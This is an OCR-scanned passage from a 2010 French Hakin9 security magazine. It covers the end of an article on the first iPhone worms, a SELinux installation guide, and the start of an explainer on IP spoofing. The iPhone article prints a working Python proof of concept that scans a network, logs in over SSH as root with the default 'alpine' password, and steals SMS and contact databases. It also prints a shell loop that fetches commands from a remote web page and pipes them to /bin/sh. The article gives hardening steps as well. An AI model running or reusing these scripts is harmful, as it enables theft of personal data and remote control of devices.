syslog(LOG_DEBUG, "VODAPHONE");

scanner(vodRanges1);

....................

}

}

Page 35: hakin9_2_2010_FR

FOCUS

34 HAKIN9 2/2010

LES PREMIERS VIRUS IPHONE SONT LÀ !

35 HAKIN9 2/2010

Listing 7. Le principe est on ne peut plus simple : un pré-requis est le dépôt du

paquet wget et son installation via ssh avec la commande dpkg -i wget.deb ,

chose qui ne devrait pas être compliquée étant donné que vous êtes root sur

Listing 3. Analyse du fichier de contact

( cloud ~) $ file AddressBook.sqlitedb

AddressBook.sqlitedb: SQLite 3.x database

( cloud ~) $ sqlite3 AddressBook.sqlitedb ".dump"| more

PRAGMA foreign_keys=OFF;

BEGIN TRANSACTION;

........

CREATE TABLE ABMultiValue (UID INTEGER PRIMARY KEY, record_id INTEGER, property INTEGER, identifier INTEGER, label INTEGER, value

TEXT);

INSERT INTO "ABMultiValue" VALUES(1,1,3,0,1,'06 60 25

XX');

INSERT INTO "ABMultiValue" VALUES(2,1,3,1,2,'05 12 39 49 XX');

........

( cloud ~) $ sqlite3 AddressBook.sqlitedb

SQLite version 3.6.19

Enter ".help" for instructionsEnter SQL statements terminated with a ";"#Récupérons la liste des tables de la base de contact

sqlite> .tables

ABGroup ABPersonMultiValueDeletes

ABGroupChanges ABPersonSearchKey

ABGroupMembers ABPhoneLastFour

ABMultiValue ABRecent

ABMultiValueEntry ABStore

ABMultiValueEntryKey FirstSortSectionCount

ABMultiValueLabel LastSortSectionCount

ABPerson _SqliteDatabaseProperties

ABPersonChanges

sqlite> select * from ABPerson;1|Nom Prenom 1|||||||||0…..

2|Nom Prenom 2|||||||||0…..

................

Listing 4. Modification des numéros des contacts

( cloud ~) $ sqlite3 AddressBook.sqlitedb

SQLite version 3.6.19

Enter ".help" for instructionsEnter SQL statements terminated with a ";"sqlite> update ABMultiValue set value="08 12 34 56 78";

sqlite> select * from ABMultiValue;1|1|3|0|1|08 12 34 56 78

2|1|3|1|2|08 12 34 56 78

Listing 5. Analyse du fichier de SMS

( cloud ~) $ file sms.db

sms.db: SQLite 3.x database

( cloud ~) $ sqlite3 sms.db ".dump"| more

PRAGMA foreign_keys=OFF;

BEGIN TRANSACTION;

......

CREATE TABLE message (ROWID INTEGER PRIMARY KEY AUTOINCREMENT, address TEXT, date INTEGER, text TEXT, flags INTEGER, replace

INTEGER, svc_center TEXT, group_id INTEGER, association_id INTEGER, height INTEGER, UIFlags INTEGER, version

INTEGER, subject TEXT, country TEXT, headers BLOB, recipients BLOB, read INTEGER);

INSERT INTO "message" VALUES(1188,'06 12 34 56 78',1260922191,'Exemple de SMS pour Hakin9',3,0,NULL,543,1260911191,0,4,0,NULL,'fr',

NULL,NULL,1);

......

Page 36: hakin9_2_2010_FR

FOCUS

36 HAKIN9 2/2010

LES PREMIERS VIRUS IPHONE SONT LÀ !

37 HAKIN9 2/2010

l'iPhone :) . Notre script récupérera dans une boucle infinie, toutes les cinq

secondes, une page web dans laquelle se trouve une commande shell ("ls -

la" par exemple) puis l'exécutera. Il est possible ainsi de garder le contrôle sur l'iPhone et même d'installer des paquets si besoin en enchainant les commandes wget et dpkg. Je laisse votre imagination trouver tout ce qui est possible de faire par ce biais. L’intérêt ici est de rendre l’iPhone contrôlable même si le serveur OpenSSH n’est plus actif.

Se protégerCertains recommandent de couper le serveur OpenSSH en utilisant par exemple l'application BossPrefs. C'est une grosse erreur ! En ef fet , le serveur OpenSSH se coupera ef fectivement mais redémarrera au prochain démarrage de l'iPhone. La première chose à faire est de modifier le mot de passe de vos comptes root et mobile en vous connectant en SSH à l'iPhone et en tapant la commande passwd . Le système vous demandera alors d’entrer votre ancien mot de passe (uniquement pour le compte mobile) puis le mot de passe que vous souhaitez et , enfin, vous demandera de le confirmer comme le montre le Listing 8.

Une autre solution consiste à modifier la configuration de base du serveur OpenSSH de l'iPhone. Tout d'abord, nous allons modifier le port du serveur puis ne permettre une authentification qu'à partir d'un client ayant une clé connue de l'iPhone. Commençons par modifier le fichier /etc/sshd_config. Nous allons dé-commenter la ligne #Port 22 en supprimant le # et en mettant un autre port que le 22 (38412 par exemple). Ensuite, il faut dé-commenter la ligne #AuthorizedKeysFile .ssh/

authorized _ keys et mettre le champ #PasswordAuthentication yes à No et modifier également StrictModes. Nous obtenons un fichier de configuration qui ressemble au Listing 9.

Nous allons maintenant créer nos clés privées/publiques pour s'authentifier sur l'iPhone. Pour cela, il faut appliquer sur votre pc qui va accéder à l'iPhone la commande ssh-keygen -t rsa comme le montre le Listing 10. Cela créera les 2 clés dans votre répertoire ~/.ssh/ . Il faut alors placer le contenu de votre clé publique (id_rsa.pub) dans le fichier /var/root/.ssh/authorized_keys de votre iPhone.

Listing 6. PoC de vol de contacts et SMS sur iPhone

#!/usr/bin/env python

import socket, sys, os, paramiko

local_file='/home/user/where/you/want/to/store/data/' # répertoire local ou seront

stockées les infos

network = "192.168.0." # le réseau à scanner

sms_remote = '/private/var/mobile/Library/SMS/sms.db'

contact_remote = '/private/var/mobile/Library/AddressBook/AddressBook.sqlitedb'

ip_num = 1

ip_list = []

sys.stdout.write(">> Scan du reseau ")

sys.stdout.write(network)

sys.stdout.write("0/24")

#Nous commençons par scanner une plage IP

while ip_num < 255: host = network + str(ip_num)

sys.stdout.write('.')

sys.stdout.flush()

try: sock1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock1.settimeout(0.2)

sock1.connect((host,22)) #On test une connexion SSH

ip_list.append(host) #Si on arrive à s'y connecter, on ajoute l'IP dans

ip_list

sock1.close()

except: sys.stdout.write('.')

sys.stdout.flush()

ip_num += 1

#Nous tentons de récupérer les contacts et SMS si c'est un iPhone

print "\n\n>> Getting SMS and Contact List"for hostname in ip_list: try: print 'Testing with :', hostname, '...', t = paramiko.SSHClient()

t.set_missing_host_key_policy(paramiko.AutoAddPolicy())

t.load_system_host_keys()

t.connect(hostname, port='ssh', username='root', password='alpine')

ftp = t.open_sftp() #On se connecte en SFTP pour récupérer les contacts et

SMS

try: local_file_ok = local_file + hostname + '-sms.db'

ftp.get(sms_remote, local_file_ok)

print "SMS vole ! ...", except: print "Pas de SMS :( ...", try: local_file_ok = local_file + hostname + '-contact.db'

ftp.get(contact_remote, local_file_ok)

print "Contacts voles !" except: print "Pas de contact :( ..."

ftp.close()

t.close()

except : print "Pas un iPhone"

Page 37: hakin9_2_2010_FR

FOCUS

36 HAKIN9 2/2010

LES PREMIERS VIRUS IPHONE SONT LÀ !

37 HAKIN9 2/2010

À propos de l'auteurRémi LAURENT est ingénieur SSI dans le cabinet de conseil toulousain SCASSI Conseil. Passionné depuis plus de 10 ans par la sécurité informatique et par le monde de l’Open Source dont principalement FreeBSD, il partage sa passion sur son blog : http://blog.madpowah.orgPour contacter l'auteur : [email protected]

Ceci fait, il faut modifier le démarrage du serveur OpenSSH de l'iPhone. Ce dernier fonctionne comme un système Mac OSX via launchd . C'est en fait un fichier XML qu'il faut configurer et qui se trouve dans le fichier /Library/LaunchDaemons/com.openssh.sshd.plist. Il faut modifier la key ProgramArguments afin d’obtenir la valeur indiquée dans le Listing 11 (suppression de l’argument "-i" pour le remplacer par "–f /etc/ssh/sshd_config").

Il ne reste plus qu'à redémarrer l'iPhone !

La dernière recommandation est logique et pourtant souvent peu suivie : n'installer que ce dont vous avez besoin et sur des sites de confiance et si vous n’en avez pas vraiment besoin, ne jailbreakez pas votre iPhone!

ConclusionApple a fondé sa sécurité sur sa politique de contrôle des applications avant leur publication sur l'App Store et en empêchant toute autre entrée. Dès lors, en jailbreakant l'iPhone, cette chaîne de confiance est brisée et les données se retrouvent à nu. L’installation d’un serveur OpenSSH afin d’utiliser au mieux le jailbreak ne fait qu’ouvrir une porte à moitié entrouverte pour les pirates. Le ver Ikee a été un avertissement mais déjà des rumeurs sur l'existence d'un ver volant des informations confidentielles se font entendre. Le point d'entrée exposé ici est le serveur OpenSSH mais il a été démontré que toutes les applications, même celles utilisant uniquement le SDK d'Apple (9) peuvent compromettre les données de l'iPhone donc, attention à vos téléchargements sous peine de surprise !

Listing 7. Script transformant l'iPhone en Zombie

iPhone:~ root# cat zombie.sh

#!/bin/sh

while :do

wget -c http://www.votresite.com/iphonecmd.html

cat iphonecmd.html | /bin/sh

rm iphonecmd.html

sleep 5

done

iPhone:~ root# chmod +x zombie.sh

iPhone:~ root# ./zombie.sh &

Listing 8. Modification du mot de passe du compte mobile

login as: [email protected]'s password:

iPhone:~ mobile$ id

uid=501(mobile) gid=501(mobile) groups=501(mobile)

iPhone:~ mobile$ passwd

Changing password for mobile.Old password: alpine

New password: votre_nouveau_mot_de_passe

Retype new password: votre_nouveau_mot_de_passe

iPhone:~ mobile$

Listing 9. Fichier /etc/ssh/sshd_config

iPhone:~ root# cat /etc/ssh/sshd_config

......

Port 38412

......

StrictModes no

#MaxAuthTries 6

RSAAuthentication yes

PubkeyAuthentication yes

AuthorizedKeysFile .ssh/authorized_keys

......

PasswordAuthentication no

......

Listing10. Création des clés SSH

(cloud ~ ) $ ssh-keygen -t rsa

Generating public/private rsa key pair.

Enter file in which to save the key (/home/cloud/.ssh/id_rsa):

Enter passphrase (empty for no passphrase): Enter same passphrase again:

Your identification has been saved in /home/cloud/.ssh/id_rsa

Your public key has been saved in /home/cloud/.ssh/id_rsa.pub

The key fingerprint is:

26:e5:a4:29:b7:5a:29:08:d7:68:39:eb:a3:12:0b:02 [email protected]

Listing 11. Fichier /Library/LaunchDaemons/com.openssh.sshd.plist

iPhone:~ root# cat /Library/LaunchDaemons/com.openssh.sshd.plist

......

<key>ProgramArguments</key>

<array>

<string>/usr/sbin/sshd</string>

<string>-f /etc/ssh/sshd_config</string>

</array>

......

Page 38: hakin9_2_2010_FR

38 HAKIN9 2/2010

FOCUS

39 HAKIN9

ACCROÎTRE LA SÉCURITÉ AVEC SELINUX

2/2010

FOCUS

Aujourd'hui, l’essentiel du système d’information est porté par le système informatique et la notion de sécurité

informatique recouvre pour l’essentiel la notion de sécurité des systèmes d’information (SSI).

Les évolutions récentes et rapides de l’informatique ont contribué à l’accélération des échanges d’informations. Les entreprises se trouvent désormais confrontées au contrôle efficace de la confidentialité, de l’intégrité et de la disponibilité de ces informations.

Véritable pièce maîtresse, le système d’information est donc naturellement devenu la proie de multiples attaques qui menacent l’activité économique des entreprises et requièrent la mise en place d’une politique de sécurité.

Certaines menaces causent directement ou indirectement d'importants dommages d’ordre financier. En effet, de nombreuses entreprises déclarent avoir souffert de lourdes pertes financières suite à une attaque ou un problème technique liés à leur système d’information. Des sommes de l'ordre de plusieurs milliards de dollars US ont été avancées suite à des dommages causés par des programmes malveillants comme le ver Code Red. D'autres dommages substantiels, comme ceux liés au vol de numéros de cartes de crédit, ont été déterminés plus précisément.

Outre les aspects financiers, des bris de sécurité informatique nuisent parfois à la vie privée de l’entreprise en divulguant des informations confidentielles qui, entre de mauvaises mains, se révèleraient très dangereuses pour l’entreprise.

RÉGIS SENET

CET ARTICLE EXPLIQUE...Ce qu’est SELinux

Ce qu’il apporte

CE QU'IL FAUT SAVOIR...Connaissance en système d’exploitation Linux et les bases des réseaux

Certaines menaces nuisent à l'image-même du propriétaire du système d'information. Des techniques répandues de « defacing » permettent à une personne mal intentionnée de mettre en évidence des failles de sécurité sur un serveur web. Ces personnes profitent aussi de ces vulnérabilités pour dif fuser de fausses informations sur son propriétaire.

Pour éviter tout cela, il existe des éléments de sécurité à installer en amont : SELinux est une solution de plus en plus répandue, que ce soit chez les professionnels ou même chez les particuliers.

Nous allons donc vous présenter un peu plus en détails SELinux, les mécanismes de la sécurité mise en place, la fiabilité de ce système et enfin, son installation ; ainsi, vous pourrez le mettre en place sur votre parc informatique.

Présentation de SELinuxSecurity-Enhanced Linux, ou plus souvent abrégé sous le nom de SELinux, est un module développé par la NSA sur la base de travaux menés avec SCC et l'université d'Utah aux USA et avec la collaboration d’autres organismes (MITRE et NAI) ; il permet de définir une politique de contrôle d'accès obligatoire aux éléments d'un système fondé sur Linux.

Dévoilé au public en 2000, SELinux est dérivé de l’architecture Flask security, ce qui a permis une intégration très rapide dans la communauté de l’Open Source.

Degré de difficulté

Accroître la sécurité avec SELinuxD’une manière générale, le système d’information concerne l’ensemble des moyens (organisations, acteurs, procédures et systèmes informatiques) nécessaires à l’élaboration, au traitement, au stockage, à l’acheminement ainsi qu’à l’exploitation des informations.

Page 39: hakin9_2_2010_FR

38 HAKIN9 2/2010

FOCUS

39 HAKIN9

ACCROÎTRE LA SÉCURITÉ AVEC SELINUX

2/2010

FOCUSIl permet de classer les applications

d'un système en dif férents groupes, avec des niveaux d'accès plus fins. Il permet aussi d'attribuer un niveau de confidentialité pour l'accès à des objets-système, comme des descripteurs de fichier, selon un modèle de sécurité multi-niveau (MLS pour Multi level Security).

Actuellement, il existe un grand nombre de personnes travaillant sur le projet bien qu’il n'y ait pas réellement de support officiel du système, il faut donc passer par les ‘mailing groups‘ ou chercher sur internet afin de trouver des réponses à de nouvelles questions.

FonctionnementLe modèle de sécurisation dont fait preuve SELinux est un modèle MAC (Mandatory Access Control) dérivé des modèles traditionnels. En effet, le modèle traditionnel ne permettait pas un contrôle aussi fin que désiré. Le modèle utilisé est donc un mélange de plusieurs modèles existants :

• IBAC (Identity Based Access Control) qui intègre la partie identité.

• RBAC (Role Based Access Control) qui intègre les rôles.

• TE (Type Enforcement) est le plus important car il intègre les types et le domaine qui permettent la séparation de tous les processus.

En définitive, SELinux se présente comme une application de Flask qui est une architecture du modèle MAC.

Qui est concerné par SELinux ?Bien qu’il soit tout à fait possible d’installer SELinux sur un ordinateur de bureau, nous partirons du principe que tout le monde n’est pas paranoïaque. Dans la majeure partie des cas, nous retrouverons donc SELinux sur des serveurs d’entreprise ou la sécurité est vraiment indispensable.

En règle générale, il se trouve sur des petits serveurs faisant tourner un nombre limité de services. En effet, il est nécessaire de créer des règles associées à chaque service. Un serveur comportant un trop grand nombre de services sera plus difficilement administrable mais cela reste possible. Enfin, il est nécessaire d’avoir plus

d’un service sur le serveur car le principe de SELinux est d’isoler les organes vitaux. Un seul organe isolé de lui-même n’apporte pas un gain de sécurité flagrant.

Mécanisme de sécuritéActuellement, les machines de types GNU/Linux utilisent le modèle DAC pour Discretionary Access Controls pour gérer les permissions des utilisateurs et des ressources. Ce système s'appuie uniquement sur l’identité de l’utilisateur (Son UID signifiant User Identifier) et sur le ou les groupes au(x)quel(s) il appartient (GID signifiant Group Identifier). Cette méthode n’est pas vraiment complète puisqu’un programme héritant des droits d’un utilisateur, hérite aussi de tous ses privilèges et c’est de là qu'émanent les soucis de sécurité.

SELinux, avec son nouveau mécanisme de sécurité, apporte un système prenant en compte :

• Le rôle de l’utilisateur• La sensibilité ainsi que l’intégrité des

données• La fonction ainsi que l’indice de

confiance des programmes

Plus concrètement, il apporte pour chaque processus du système un contexte dont

les attributs principaux sont le rôle, le domaine, le type, l’identité.

Le fonctionnementDans un système linux classique dépourvu de SELinux, comme nous l'avons indqué précédemment, un utilisateur est identifié par son UID/GID et, de plus, il peut changer d’identité grâce à la commande su. L’utilisateur n’a donc pas vraiment d’identité.

Grâce à SELinux, une nouvelle notion apparaît : le SID (Security Identifier). Le SID donne une nouvelle identité reliée au contexte qui lui a été attribué (rôle, domaine, type). Celle-ci vient s’ajouter lors de la création d’un utilisateur. Une fois loguée, elle ne change pas même lors de l'utilisation d'un su. Ainsi, les permissions définies dans son contexte restent actives dans tous les cas, il ne pourra donc jamais dépasser ses privilèges.

Il en est de même pour les processus : chaque processus possède un SID, donc un contexte particulier, rien ne peut outrepasser les permissions même s'il est lancé en root.

Quant au changement d’identité, c'est-à-dire un changement quand un utilisateur est logué ou lorsqu’il s’agit d’un programme, il est possible mais il est très sérieusement contrôlé ; actuellement

Listing 1. Installation de SELinux

nocrash:~# reboot

[…]

Checking SELinux contexts : selinux-basics

Relabeling your filesystems for SELinux …….. Cleaning out /tmp[…]

debian login:

Listing 2. Mise en place du mode „enforcement”

# This file controls the state of SELinux on the system.

# SELINUX= can take one of these three values:

# enforcing - SELinux security policy is enforced.

# permissive - SELinux prints warnings instead of enforcing.

# disabled - No SELinux policy is loaded.

SELINUX=enforcement

# SELINUXTYPE= can take one of these two values:

# targeted - Only targeted network daemons are protected.

# strict - Full SELinux protection.

SELINUXTYPE=targeted

Listing 3. Activation du mode „enforcement”

nocrash:~# selinux-config-enforcing

Configured enforcing mode in /etc/selinux/config for the next boot.This can be overriden by « enforcing=0 » on the kernel

command line.

Page 40: hakin9_2_2010_FR

FOCUS

40 HAKIN9 2/2010

ACCROÎTRE LA SÉCURITÉ AVEC SELINUX

41 HAKIN9 2/2010

seuls 2 processus sont autorisés à le faire. (crond et login), 3 si ssh est installé.

L’identitéChaque processus possède un domaine. Ce domaine possède des règles de sécurité définissant les permissions vers certains objets et qui sont appliquées à tous les processus de ce domaine. SELinux permet également d’affiner les permissions d’un domaine en donnant la possibilité de spécifier des permissions particulières selon l’objet à qui est assigné le rôle. Par exemple, un fichier quelconque et un périphérique d’un même domaine ne possèderont pas les mêmes permissions.

Le mécanisme dans le systèmeLe serveur de sécurité est un élément directement implémenté dans le kernel contenant les règles de sécurités logiques complètes qui peuvent être modifiées ou étendues de façon flexible. Par mesure de sécurité et de stabilité, cette partie a été codée proprement pour être bien séparée du reste du kernel.

Le serveur de sécurité est le seul à pouvoir interpréter le contexte de sécurité d’un objet et faire les opérations logiques entre les SID. Ces opérations logiques du serveur sont déclenchées par les multiples points de contrôle insérés partout dans le kernel.

Le serveur de sécurité compare le SID de l'objet source (ex : l'utilisateur exécutant une commande) et celui de destination (la commande) en associant ce SID à celui mappé dans le contexte de sécurité.

Le contexte d’un SID est mappé au démarrage dans le contexte de sécurité et est maintenu par le serveur de sécurité.

Les modes de fonctionnementIl existe plusieurs modes de fonctionnement concernant SELinux :

Le mode EnforcementCe mode applique toutes les règles de sécurité. Si un processus ne possède aucune règle, il ne se lancera pas. En général, dans ce mode, beaucoup de choses s’arrêtent de fonctionner. Il est activé en dernier lorsque, assurément, tout est prêt.

Le mode Permissive Ce mode est très pratique pour tester les règles et voir quelles applications se lanceraient ou non en mode Enforcement. C’est donc dans ce mode qu’il faut faire les labels et les règles de sécurité.

Le mode DisabledCe mode ne désactive pas complètement SELinux mais celui-ci ne charge plus les règles de sécurité et tous les nouveaux fichiers ne sont pas labellisés.

Après un passage par le mode Disabled, revenir en mode actif (Permissive ou Enforcement) nécessitera de labelliser de nouveau complètement vos fichiers.

Le mode AuditCe mode active l'audit des événements de SELinux, le tout est journalisé dans /var/log.

Compatibilité et fiabilitéComme vous vous en doutez, l’ensemble des vérifications supplémentaires orchestré par SELinux a un coût au niveau des performances du serveur. En effet, l’installation de cette mesure de sécurité diminue jusqu'à 10% environ les performances du serveur selon la complexité et le nombre de règles.

Néanmoins, la stabilité reste identique. Le code implémenté est propre et ne crée (aujourd’hui) aucun problème significatif.

SauvegardeSauvegarder l’ensemble des règles de sécurité permettant par la suite une restauration rapide en cas de problème sur le serveur, s'effectue à tout moment. La sauvegarde des règles permet après restauration de labelliser de nouveau complètement le système de fichiers.

Installation de SELinuxPour installer SELinux dans de bonnes conditions sur votre serveur, il est nécessaire que le système de fichiers soit de l’ext2 ou de l’ext3. Il y a de nombreux problèmes avec les autres systèmes de fichiers.

Mise à jour du systèmeLa distribution utilisée en appui du présent est une Debian 5.0 (Lenny) entièrement actualisée. Certaines commandes risquent

Listing 4. Mise en place du mode „permissive”

# This file controls the state of SELinux on the system.

# SELINUX= can take one of these three values:

# enforcing - SELinux security policy is enforced.

# permissive - SELinux prints warnings instead of enforcing.

# disabled - No SELinux policy is loaded.

SELINUX=permissive

# SELINUXTYPE= can take one of these two values:

# targeted - Only targeted network daemons are protected.

# strict - Full SELinux protection.

SELINUXTYPE=targeted

Listing 5. Désactivation de SELinux

# This file controls the state of SELinux on the system.

# SELINUX= can take one of these three values:

# enforcing - SELinux security policy is enforced.

# permissive - SELinux prints warnings instead of enforcing.

# disabled - No SELinux policy is loaded.

SELINUX=disabled

# SELINUXTYPE= can take one of these two values:

# targeted - Only targeted network daemons are protected.

# strict - Full SELinux protection.

SELINUXTYPE=targeted

Listing 6. Activation de SELinux via le fichier de boot

root (hd0,0)

kernel /boot/vmlinuz-2.4.20-selinux-2003040709 ro root=/dev/hda1 nousb

selinux=0

#initrd /boot/initrd-2.4.20-selinux-2003040709.imgier /boot/grub/menu.lst

si vous utilisez GRUB, soit le fichier /etc/lilo.conf si vous

utilisez LILO.

Page 41: hakin9_2_2010_FR

FOCUS

40 HAKIN9 2/2010

ACCROÎTRE LA SÉCURITÉ AVEC SELINUX

41 HAKIN9 2/2010

de ne pas être tout à fait identiques sur une autre distribution. L’ensemble des installations est réalisé grâce au gestionnaire de paquets propre à un système Debian : APT (Advanced Package Tool).

À tout moment, une faille de sécurité peut être découverte dans l’un des modules composant votre système, que ce soit Apache ou quoi que ce soit d’autre. Certaines de ces failles sont critiques d’un point de vue sécurité pour l’entreprise. Pour palier ce risque potentiel, il est nécessaire de régulièrement mettre à jour l’ensemble du système grâce à divers patches de sécurité.

La commande suivante actualise l’ensemble du système :

nocrash:~# apt-get update && apt-get

upgrade

Le système d’exploitation est maintenant complètement à jour, SELinux peut être mis en place dans de bonnes conditions.

Installation de SELinuxNous voici prêts à lancer l’ensemble des installations relatives à SELinux.

nocrash:~# apt-get install selinux-

basics selinux-

policy-default

Pour installer éventuellement la documentation sur la politique de référence de SELinux

nocrash:~# apt-get install selinux-

policy-doc

Il est nécessaire d’activer SELinux :

nocrash:~# selinux-activate

Activating SE Linux

SE Linux is activated. You may need

to reboot now.

Il faut redémarrer le système d’exploitation afin de labéliser le système de fichiers. Cela peut prendre un petit moment, soyez patient (Listing 1).

Après avoir redémarré, la commande check-selinux-installation permet de vérifier éventuellement que toutes les installations se sont déroulées avec succès :

nocrash:~# check-selinux-installation

nocrash:~#

Il convient d’activer le mode Enforcement soit en modifiant le fichier de configuration /etc /selinux/config (Listing 2) soit en lançant simplement cette commande (Listing 3).

Redémarrer une dernière fois le système d’exploitation implique que les nouvelles configurations de SELinux seront prisent en compte :

nocrash:~# reboot

Désinstallation de SELinuxComme tout logiciel, SELinux se désactive à tout moment. Cependant, désactiver SELinux n'équivaut pas à désinstaller OpenOffice.org ou d’autres logiciels du même genre. En effet, SELinux est un mécanisme de sécurité de votre système d’exploitation, il est donc nécessaire de réfléchir aux conséquences avant de le désinstaller.

La désactivation de SELinux pose parfois également des problèmes pour le réactiver. En effet, certains fichiers risquent de se retrouver sans label : il faudra alors labelliser de nouveau complètement le système de fichiers.

Désactivation temporaireDésactiver temporairement SELinux est parfois nécessaire pour des diverses raisons. Cette action s'effectue après édition du fichier de configuration /

selinux/enforce.

nocrash:~# echo 0 >/selinux/enforce

Activation du mode permissif

Comme évoqué précédemment, SELinux dispose de plusieurs modes de fonctionnement incluant Enforcement, Permissive ou encore Disabled .

Passer SELinux en mode de fonctionnement Permissive permet d’autoriser l’ensemble des actions. Des messages de log seront générés pour les actions devant normalement être bloquées mais aucune autre action ne sera mise en place.

Pour activer ce mode, éditons le fichier /etc/selinux/config (Listing 4).

Et de là, il est nécessaire de redémarrer le système d’exploitation :

nocrash:~# reboot

Pour les Linux ne possédant pas de fichier /etc/selinux/config, il faut alors éditer le fichier de boot soit le fichtitle SE-Linux Test System

Désactivation complèteLa désactivation complète de SELinux est quasiment identique à l’activation du mode permissif avec une petite étape supplémentaire. En effet, nous éditerons également le fichier de configuration /etc/selinux/config pour y ajouter la ligne SELINUX=disabled (Listing 5).

Et de là, il est nécessaire de redémarrer le système d’exploitation :

nocrash:~# reboot

Possédant pas de fichier /etc/selinux/confg, il faut alors éditer le fichier de boot soit le fichier /boot/grub/menu.lst (Listing 6).

Il sera également nécessaire de redémarrer le système d’exploitation :

nocrash:~# reboot

ConclusionSELinux est une formidable solution pour sécuriser tout serveur exposé sur internet. La prise en main n'est pas aisée et la configuration fait parfois peur mais chacun peut se lancer en choisissant la distribution qui lui convient le mieux. Utiliser Debian et Fedora permettra de ne pas se soucier de l'installation car elle est relativement aisée et Gentoo Hardened dispose d'un LiveCD qui sera une bonne démonstration avant de passer à une installation en dur.

De plus, beaucoup d'outils existent pour éviter au maximum de se retrouver avec des lignes de configuration barbares.

SELinux est quasiment implémenté par toutes les principales distributions, flexible, secure, open-source et régulièrement actualisé... N’attendez plus, adoptez SELinux !

AuteurRégis SENET, actuellement stagiaire pour la société JA-PSI, est étudiant en cinquième année à l’école Supérieure d’informatique « Supinfo ». Passionné par les tests d’intrusion et les vulnérabilités Web, il tente de découvrir la sécurité informatique d’un point de vue entreprise. Il s'oriente actuellement vers les certifications Offensive Security et CEH.Contact: [email protected], http://www.regis-senet.fr

Page 42: hakin9_2_2010_FR

42 HAKIN9

ATTAQUE

2/2010

Qu’est ce que l’IP SpoofingLa technique de l’IP Spoofing est une attaque informatique qui commence à dater mais elle demeure légendaire par l'utilisation qu'en a fait Kevin Mitnick en 1995 contre le Supercomputer Center de SanDiego protégé par Tsatumo Shimomura. Kevin Mitnick n’a fait que reprendre une faille connue depuis Février 1985 mais qui n’avait jamais été mise en place.

L'« usurpation d'adresse IP » (également appelée mystification ou en anglais IP Spoofing) est une technique consistant à remplacer l'adresse IP de l'expéditeur d'un paquet IP par l'adresse IP d'une autre machine.

Ce type d’attaque s’utilise de deux manières dif férentes :

• La première utilité de l'IP Spoofing est la falsification de la source d'une attaque. Par

RÉGIS SENET

CET ARTICLE EXPLIQUE...Ce qu’est l’IPSpoofing

Les risques encourus

Comment s’en protéger

CE QU'IL FAUT SAVOIR...Connaissance en système d’exploitation Linux et les bases des réseaux

exemple, lors d'une attaque de type déni de service, l'adresse IP source des paquets envoyés sera falsifiée afin d’éviter de localiser la provenance de l'attaque permettant à l’attaquant d’être anonyme.

• La seconde utilisation de l'IP Spoofing permet de profiter d'une relation de confiance entre deux machines pour prendre la main sur l'une des deux.Cet article vous présentera la seconde

utilisation de l’IP Spoofing, utilisation qui peut avoir des retombées beaucoup plus désastreuses.

Certains tendent à assimiler l'utilisation d'un proxy (permettant de masquer d'une certaine façon l'adresse IP) avec de l’IP Spoofing. Toutefois, le proxy ne fait que relayer les paquets. Ainsi, même si l'adresse est apparemment masquée, un pirate peut facilement être retrouvé grâce au fichier journal (logs) du proxy.

Degré de difficulté

Attaque par IP SpoofingComment obtenir l’accès non autorisé sur une machine ? La réponse est simple : usurpation d’adresse IP qui consiste à remplacer l’adresse IP de l’expéditeur d’un paquet par l’adresse IP d’une autre machine. Comment s’en défendre ? La réponse dans cet article.

Figure 1. Utilisation de paquets spoofé

����������������

������������

��������

�����

�������� ���

Page 43: hakin9_2_2010_FR

L'IP Spoofing a souvent lieu contre les services rlogin et rsh car leur mécanisme d'authentification est fondé sur l'adresse IP. Le principe est simple : dès qu'un client possède une connexion établie sur le serveur avec un mode d'authenfication fondé sur l'adresse IP, le pirate essaiera de se faire passer pour le client auprès du serveur. Pour cela, il empêchera le client de dialoguer avec le serveur et répondra à sa place.

Un peu de théorie ne fait jamais de malLe protocole IP est un protocole non-orienté connexion, il n'assure aucune vérification de la réception des paquets et ne se soucie que peu de la façon de les traiter. Le protocole IP n'assure qu'un routage d'une adresse vers autre. Il est donc aisé de duper le routage IP en injectant des paquets falsifiés ayant des adresses IP valides sur le réseau.

A l’inverse, le protocole TCP assure une fiabilité de la remise des paquets grâce à des numéros de séquences qui les distingue un à un. Chaque paquet TCP possède deux numéros, le numéro de séquence et le numéro d'acquittement. Ces deux nombres sont codés sur 32 bits. Ils sont uniques, afin de ne pas confondre les paquets lors de leurs traitements.

Nous décrirons l'attaque sur ces bases.

Imaginons que le client A est connecté grâce au protocole rsh sur le serveur B . Le pirate C tentera de voler la connexion au client.

En premier lieu, il réduira au silence le client en le saturant avec des attaques telles que le syn-flooding ou encore les attaques par déni de service.

La seconde partie de l'attaque est assez simple. Le pirate envoie une série de demandes de connexion au serveur en utilisant l'adresse du client A. Le serveur répond avec une série de paquets d'acquittement. C'est là que réside toute la finesse de l'IP Spoofing.

Rappels sur le protocole TCP Afin de réaliser une connexion TCP, le client envoie un paquet avec un numéro de séquence initial (NS1). Le serveur répond avec un paquet d'acquittement ayant

Page 44: hakin9_2_2010_FR

ATTAQUE

44 HAKIN9 2/2010

son propre numéro de séquence (NS2), mais ayant un numéro d'acquittement (NA1) égal au numéro de séquence initial incrémenté d'une unité (NA1=NS1+1). Ensuite, le client renvoie un paquet avec un numéro d'acquittement (NA2=NS2+1). Une connexion TCP s'établit donc en trois parties.

Ce principe de numéros de séquences et d'acquittement est utilisé durant toute la transaction pour en assurer la fiabilité. La subtilité de l'attaque réside dans le fait que le serveur génère la valeur NS2 suivant un cycle particulier. Il peut utiliser, par exemple, soit une fonction générant un nombre aléatoire, soit incrémenter une valeur initiale de 128 toutes les secondes et de 64 après chaque connexion. Tout dépend de l'implémentation de la pile TCP/IP du système.

Revenons à notre problème. Le pirate envoie un grand nombre de demandes de connexion dans un laps de temps déterminé et analyse les acquittements du serveur pour déterminer l'algorithme d'incrémentation. Si cet algorithme s'appuie sur la génération de nombres aléatoires, l'attaque a peu de chances d'aboutir. Mais si l'algorithme est facilement compréhensible, le pirate envoie alors une requête de connexion au serveur en utilisant l'adresse IP du client. Le serveur répond avec un paquet d'acquittement de numéro de séquence (NS). Le client mis hors service ne pourra répondre, le pirate le fera à sa place.

Pour cela, il doit injecter un paquet ayant un numéro d'acquittement de valeur NA = NS +1. Mais, ayant usurpé l'adresse du client, il ne peut intercepter les paquets

lui étant destinés. Il ne peut donc pas connaître cette valeur NS. Il va donc la générer lui-même à partir de son analyse de l'algorithme d'incrémentation. C'est pourquoi cette attaque est aussi qualifiée «d'attaque aveugle». Si le numéro est valide, le pirate a établi la connexion au serveur en se faisant passer pour le client.

